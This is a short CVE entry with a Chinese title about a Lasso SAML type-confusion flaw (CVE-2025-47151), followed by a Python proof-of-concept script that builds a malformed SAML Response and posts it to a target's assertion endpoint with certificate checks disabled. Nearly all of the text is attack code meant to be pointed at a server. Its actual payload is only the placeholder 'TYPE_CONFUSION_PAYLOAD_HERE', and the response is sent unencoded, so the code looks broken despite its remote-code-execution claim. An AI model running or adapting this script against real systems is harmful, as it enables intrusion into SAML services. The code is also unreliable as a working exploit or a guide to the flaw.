CVE-2025-47151 Lasso SAML响应类型混淆漏洞导致远程代码执行

#!/usr/bin/env python3 """ CVE-2025-47151 PoC - Malformed SAML Response for Lasso Type Confusion Note: This is a conceptual PoC for educational purposes only. """ import xml.etree.ElementTree as ET from defusedxml import ElementTree as SafeET def generate_malformed_saml_response(): """ Generate a malformed SAML response to trigger type confusion in lasso_node_impl_init_from_xml function. """ # SAML Response namespace samlp_ns = "urn:oasis:names:tc:SAML:2.0:protocol" saml_ns = "urn:oasis:names:tc:SAML:2.0:assertion" # Create malformed SAML Response with type confusion elements saml_response = f""" <samlp:Response xmlns:samlp="{samlp_ns}" xmlns:saml="{saml_ns}" ID="_test123" Version="2.0" IssueInstant="2025-01-01T00:00:00Z"> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_assertion456" Version="2.0" IssueInstant="2025-01-01T00:00:00Z"> <saml:Issuer>https://attacker.example.com</saml:Issuer> <saml:Subject> <saml:NameID>[email protected]</saml:NameID> </saml:Subject> <!-- Malformed elements to trigger type confusion --> <saml:Conditions NotBefore="2025-01-01T00:00:00Z" NotOnOrAfter="2025-12-31T23:59:59Z"> <!-- Type confusion payload in AttributeStatement --> <saml:AttributeStatement> <saml:Attribute Name="groups"> <saml:AttributeValue> <!-- Crafted payload targeting lasso_node_impl_init_from_xml --> TYPE_CONFUSION_PAYLOAD_HERE </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Conditions> <!-- Additional malformed XML structure --> <saml:AuthnStatement AuthnInstant="2025-01-01T00:00:00Z"> <saml:AuthnContext> <saml:AuthnContextClassRef> urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport </saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> </samlp:Response> """ return saml_response def exploit(target_url): """ Send malformed SAML response to target. """ import requests saml_response = generate_malformed_saml_response() headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'SOAPAction': 'http://schemas.xmlsoap.org/soap/envelope/', } # Send crafted SAML response data = { 'SAMLResponse': saml_response, 'RelayState': 'https://target.example.com/dashboard' } try: response = requests.post(target_url, data=data, headers=headers, verify=False, timeout=30) return response.text except requests.exceptions.RequestException as e: return f"Request failed: {str(e)}" if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_47151_poc.py <target_url>") print("Example: python cve_2025_47151_poc.py https://vulnerable-server/saml/acs") sys.exit(1) target = sys.argv[1] print(f"[*] Sending malformed SAML response to {target}") result = exploit(target) print(f"[*] Response: {result[:500]}")